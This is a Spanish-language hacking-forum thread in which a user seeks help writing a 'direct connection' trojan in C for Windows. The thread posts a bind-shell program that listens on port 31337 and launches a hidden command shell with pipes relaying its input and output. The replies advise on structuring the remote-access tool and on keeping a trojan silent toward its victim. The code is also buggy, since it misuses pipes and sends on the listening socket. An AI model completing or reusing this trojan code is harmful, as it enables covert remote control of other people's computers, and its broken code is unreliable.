elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [C] Code troyano conexion directa
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C] Code troyano conexion directa  (Leído 3,370 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
[C] Code troyano conexion directa
« en: 8 Septiembre 2010, 13:00 pm »

Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.


En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: [C] Code troyano conexion directa
« Respuesta #1 en: 8 Septiembre 2010, 17:12 pm »

hola

intenta hacerlo paso por paso haciendo pruebas... primero crea un cliente y un servidor con el socket, hazlo en forma directa como tu dices... despues crea un pipe hacia cmd, hazlo en otro archivo para que no tengas conflictos con el socket, cuando los dos te funcionen, juntalos... para ver si te funcionan.... trata de mandar de cliente a servidor un dir por ejemplo y ve si pudes ver el contenido con el pipe...

el pipe no lo hagas por ahorita con WINAPI trata de hacerlo en main por lo mientras y usa thread's para read y write, por algun lado puse un ejemplo de pipe, si lo encuentro lo vuelvo a postear


EDITADO

mira aqui esta el codigo, tenia un error, pero ya tiene tiempo que lo arregle y no recuerdo que hice... pero te servira como ejemplo de pipe

http://foro.elhacker.net/programacion_cc/como_hago_para_visualizar_toda_la_informacion_de_pipe-t274714.0.html;msg1347888#msg1347888



« Última modificación: 8 Septiembre 2010, 17:17 pm por べりある ∰ Grimoire » En línea

.                                 
☺BADMAN

Desconectado Desconectado

Mensajes: 51


Este es un Moderador de CPH


Ver Perfil
Re: [C] Code troyano conexion directa
« Respuesta #2 en: 9 Septiembre 2010, 03:45 am »

  Ese code lo veo muy erroneo la verdad si vas hacer un rat de conexion directa esta bien el winmain hasta el while ....

  if (newsocket != NULL)
     CreateThread(Escuchar, bla bla .....


  y en la funcion escuchar creas otro hilo con recv para recibir comandos o informacion ......

digo yo no  :silbar:


 
En línea

Experto en Biefrost.
Subseven User.
Especialista en crypters.
Tifa FAN
Batch Programer XD ;D
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [C] Code troyano conexion directa
« Respuesta #3 en: 9 Septiembre 2010, 19:35 pm »

Si, perdona, no escribi la comprobacion de errores. Veran, un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

Lo escribi todo en la v2.0 k la publicare mañana tarde k ahora no puedo, pero se que ese no es el fallo pues todo se hace con normalidad en la otra, pero aun asi no va.

El cliente/server se hacerlo, pero no se usar correctamente las pipes. Alguien tiene un manual sencillito para aprender a usarlas? Tu manual me ha hecho ver la tecnica pero no se hacerlas bien....

Saludos y muchas gracias
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: [C] Code troyano conexion directa
« Respuesta #4 en: 9 Septiembre 2010, 19:38 pm »

Sagrini no has leido ni 5 minutos la propia documentacion de la msdn.

Citar
un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

no, pero puede el programa retomar el control si algo falla..... digo yo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines